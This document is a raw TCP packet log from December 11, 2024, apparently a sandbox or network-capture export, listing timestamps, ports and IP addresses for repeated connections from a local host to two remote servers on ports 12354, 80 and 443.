Dec 11, 2024 16:26:52.042686939 CET	65258	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:52.042728901 CET	443	65258	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:52.042905092 CET	65258	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:52.049732924 CET	65258	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:52.049750090 CET	443	65258	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:52.117252111 CET	12354	65178	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:53.525971889 CET	65122	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:53.526017904 CET	65258	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:53.526041031 CET	65178	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:53.527070999 CET	50596	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:53.641324043 CET	63860	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:53.641608000 CET	50671	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:53.642654896 CET	50672	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:53.646553993 CET	12354	50596	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:53.646648884 CET	50596	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:53.647181034 CET	50596	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:53.761801958 CET	80	50671	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:53.761895895 CET	50671	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:53.761902094 CET	12354	50672	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:53.762217999 CET	80	63860	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:53.762267113 CET	63860	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:53.762830019 CET	50672	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:53.766635895 CET	12354	50596	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:53.772139072 CET	50671	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:53.772320986 CET	50672	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:53.895271063 CET	80	50671	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:53.895287991 CET	12354	50672	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:55.330248117 CET	80	50671	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:55.330291986 CET	50671	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:55.333954096 CET	52279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:55.333993912 CET	443	52279	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:55.334059954 CET	52279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:55.335294008 CET	52279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:55.335309029 CET	443	52279	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:55.752666950 CET	12354	50596	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:55.752810001 CET	50596	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:55.765239000 CET	50596	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:55.765935898 CET	52408	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:55.877465963 CET	12354	50672	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:55.877516031 CET	50672	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:55.881391048 CET	50672	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:55.884470940 CET	12354	50596	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:55.885415077 CET	12354	52408	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:55.885477066 CET	52408	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:55.905154943 CET	52408	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:55.925470114 CET	52411	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:56.001934052 CET	12354	50672	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:56.027646065 CET	12354	52408	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:56.049312115 CET	12354	52411	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:56.049418926 CET	52411	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:56.049817085 CET	52411	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:56.170576096 CET	12354	52411	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:57.018101931 CET	443	52279	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:57.018203974 CET	52279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.018882990 CET	443	52279	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:57.019115925 CET	52279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.022011995 CET	52279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.022064924 CET	443	52279	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:57.022133112 CET	52279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.138055086 CET	50671	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.138469934 CET	53522	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.258300066 CET	80	50671	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:57.259367943 CET	80	53522	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:57.259445906 CET	50671	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.259474039 CET	53522	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.260766983 CET	53522	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.380312920 CET	80	53522	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:57.529129982 CET	52411	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:57.529165983 CET	52408	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:57.529206991 CET	53522	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.530704975 CET	53875	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:57.639043093 CET	53960	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.642029047 CET	53961	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:57.650599957 CET	12354	53875	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:57.650803089 CET	53875	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:57.651324034 CET	53875	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:57.758507013 CET	80	53960	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:57.758578062 CET	53960	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.759596109 CET	53960	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:57.761499882 CET	12354	53961	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:57.761559010 CET	53961	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:57.769239902 CET	53961	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:57.771189928 CET	12354	53875	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:57.878915071 CET	80	53960	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:57.888556957 CET	12354	53961	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:59.328803062 CET	80	53960	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:59.328857899 CET	53960	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:59.334690094 CET	54480	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:59.334716082 CET	443	54480	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:59.334768057 CET	54480	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:59.335922956 CET	54480	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:59.335942984 CET	443	54480	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:59.767914057 CET	12354	53875	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:59.768104076 CET	53875	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:59.769009113 CET	53875	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:59.769833088 CET	54837	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:59.878329992 CET	12354	53961	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:59.878391027 CET	53961	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:59.878920078 CET	53961	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:59.889146090 CET	54958	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:59.890086889 CET	12354	53875	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:59.890099049 CET	12354	54837	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:59.890172958 CET	54837	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:59.890635967 CET	54837	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:00.001204967 CET	12354	53961	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:00.010462999 CET	12354	54958	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:00.010524035 CET	54958	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:00.010879040 CET	54958	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:00.013186932 CET	12354	54837	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:00.130409002 CET	12354	54958	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:01.029336929 CET	443	54480	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:01.029496908 CET	54480	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:01.030148983 CET	443	54480	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:01.030189991 CET	54480	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:01.083635092 CET	54480	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:01.083808899 CET	443	54480	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:01.083901882 CET	54480	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:01.656625986 CET	54958	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:01.656887054 CET	54837	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:01.782608032 CET	55703	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:01.883563995 CET	53960	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:01.883970976 CET	55704	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:01.895209074 CET	55711	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:01.907383919 CET	12354	55703	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:01.907495975 CET	55703	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:01.914329052 CET	55703	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:02.009211063 CET	80	55704	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:02.009248018 CET	80	53960	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:02.009320974 CET	55704	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:02.009342909 CET	53960	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:02.012631893 CET	55704	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:02.020469904 CET	12354	55711	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:02.020558119 CET	55711	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:02.021382093 CET	55711	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:02.038889885 CET	12354	55703	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:02.132285118 CET	80	55704	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:02.140923023 CET	12354	55711	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:03.583384991 CET	80	55704	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:03.584151983 CET	55704	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:03.586853981 CET	57279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:03.586899042 CET	443	57279	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:03.587582111 CET	57279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:03.588251114 CET	57279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:03.588263988 CET	443	57279	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:04.129954100 CET	12354	55711	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:04.130033970 CET	55711	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:04.130657911 CET	55711	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:04.130978107 CET	57677	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:04.256164074 CET	12354	55711	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:04.256201029 CET	12354	57677	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:04.256280899 CET	57677	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:04.256886005 CET	57677	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:04.378494978 CET	12354	57677	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:04.418795109 CET	12354	55703	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:04.418953896 CET	55703	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:04.442236900 CET	55703	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:04.442990065 CET	58094	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:04.561712980 CET	12354	55703	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:04.562419891 CET	12354	58094	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:04.562493086 CET	58094	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:04.566215038 CET	58094	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:04.686110973 CET	12354	58094	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:05.286931992 CET	443	57279	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:05.287020922 CET	57279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:05.287731886 CET	443	57279	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:05.287833929 CET	57279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:05.291572094 CET	57279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:05.291649103 CET	443	57279	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:05.291728973 CET	57279	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:05.403814077 CET	55704	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:05.404120922 CET	58808	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:05.524425983 CET	80	58808	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:05.524440050 CET	80	55704	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:05.524744987 CET	58808	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:05.524802923 CET	55704	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:05.546003103 CET	58808	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:05.665457010 CET	80	58808	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:05.778937101 CET	58808	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:05.778964043 CET	58094	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:05.778978109 CET	57677	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:05.783847094 CET	59142	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:05.892466068 CET	59183	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:05.892911911 CET	59184	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:05.903280973 CET	12354	59142	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:05.904576063 CET	59142	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:05.904656887 CET	59142	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:06.013655901 CET	80	59183	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:06.013950109 CET	12354	59184	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:06.014208078 CET	59183	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:06.014659882 CET	59184	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:06.014713049 CET	59183	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:06.015085936 CET	59184	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:06.025201082 CET	12354	59142	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:06.134299994 CET	80	59183	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:06.134648085 CET	12354	59184	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:07.694586992 CET	80	59183	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:07.694645882 CET	59183	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:07.699125051 CET	60439	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:07.699166059 CET	443	60439	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:07.699486971 CET	60439	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:07.700536966 CET	60439	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:07.700553894 CET	443	60439	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:08.096321106 CET	12354	59142	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:08.096373081 CET	59142	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:08.096642971 CET	59142	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:08.097029924 CET	60763	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:08.216017008 CET	12354	59142	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:08.216398954 CET	12354	60763	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:08.216615915 CET	60763	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:08.224733114 CET	60763	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:08.236691952 CET	12354	59184	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:08.236768007 CET	59184	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:08.237431049 CET	59184	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:08.237725973 CET	60899	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:08.343971968 CET	12354	60763	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:08.356674910 CET	12354	59184	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:08.357002020 CET	12354	60899	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:08.357069016 CET	60899	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:08.359719992 CET	60899	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:08.481497049 CET	12354	60899	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:09.404227018 CET	443	60439	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:09.404469967 CET	60439	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:09.405019999 CET	443	60439	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:09.405380011 CET	60439	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:09.410639048 CET	60439	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:09.410700083 CET	443	60439	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:09.410792112 CET	60439	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:09.512927055 CET	59183	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:09.513365030 CET	62177	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:09.632683992 CET	80	59183	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:09.632751942 CET	80	62177	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:09.632803917 CET	59183	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:09.632822037 CET	62177	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:09.633472919 CET	62177	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:09.753338099 CET	80	62177	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:09.807878971 CET	60899	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:09.807929993 CET	62177	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:09.808007002 CET	60763	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:09.809849024 CET	62496	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:09.929353952 CET	12354	62496	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:09.929439068 CET	62496	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:09.947016001 CET	62496	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:09.951443911 CET	62586	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:09.951857090 CET	62587	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:10.066390991 CET	12354	62496	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:10.070734024 CET	12354	62586	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:10.070832014 CET	62586	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:10.071291924 CET	80	62587	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:10.071357012 CET	62587	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:10.071604967 CET	62586	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:10.075323105 CET	62587	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:10.192044020 CET	12354	62586	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:10.195207119 CET	80	62587	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:11.659782887 CET	80	62587	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:11.659873962 CET	62587	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:11.663042068 CET	63924	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:11.663100004 CET	443	63924	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:11.663710117 CET	63924	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:11.664360046 CET	63924	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:11.664377928 CET	443	63924	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:12.081669092 CET	12354	62496	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:12.081769943 CET	62496	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:12.082072973 CET	62496	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:12.082364082 CET	64241	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:12.202189922 CET	12354	62496	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:12.202285051 CET	12354	64241	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:12.203543901 CET	64241	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:12.205312014 CET	12354	62586	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:12.205382109 CET	62586	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:12.209656954 CET	64241	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:12.212153912 CET	62586	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:12.223683119 CET	64312	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:12.329866886 CET	12354	64241	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:12.332202911 CET	12354	62586	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:12.343883991 CET	12354	64312	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:12.343981981 CET	64312	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:12.413908958 CET	64312	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:12.533241034 CET	12354	64312	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:13.361576080 CET	443	63924	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:13.361670017 CET	63924	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:13.362555027 CET	443	63924	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:13.363126993 CET	63924	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:13.366403103 CET	63924	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:13.366497993 CET	443	63924	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:13.366580009 CET	63924	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:13.481730938 CET	62587	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:13.482001066 CET	64605	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:13.601392031 CET	80	64605	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:13.601485014 CET	64605	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:13.601660013 CET	80	62587	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:13.601720095 CET	62587	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:13.602202892 CET	64605	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:13.721590996 CET	80	64605	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:13.975049973 CET	64605	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:13.975116014 CET	64312	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:13.975121975 CET	64241	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:13.977427006 CET	65063	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:14.096839905 CET	12354	65063	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:14.096924067 CET	65063	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:14.107498884 CET	65063	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:14.119071007 CET	65171	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:14.119896889 CET	65173	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:14.227078915 CET	12354	65063	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:14.238534927 CET	12354	65171	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:14.238631010 CET	65171	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:14.238910913 CET	65171	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:14.239177942 CET	80	65173	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:14.239303112 CET	65173	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:14.240014076 CET	65173	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:14.358241081 CET	12354	65171	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:14.359400034 CET	80	65173	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:15.838140965 CET	80	65173	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:15.840540886 CET	65173	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:16.115165949 CET	49748	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:16.115190983 CET	443	49748	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:16.115278006 CET	49748	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:16.116113901 CET	49748	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:16.116122961 CET	443	49748	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:16.222589970 CET	12354	65063	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:16.222657919 CET	65063	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:16.227139950 CET	65063	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:16.227798939 CET	49778	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:16.347203016 CET	12354	65063	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:16.347873926 CET	12354	49778	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:16.347942114 CET	49778	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:16.348658085 CET	49778	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:16.377836943 CET	12354	65171	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:16.377913952 CET	65171	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:16.378103971 CET	65171	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:16.378885031 CET	49941	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:16.469161987 CET	12354	49778	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:16.498594999 CET	12354	65171	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:16.502243042 CET	12354	49941	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:16.502311945 CET	49941	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:16.521610975 CET	49941	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:16.641141891 CET	12354	49941	107.163.241.232	192.168.2.4
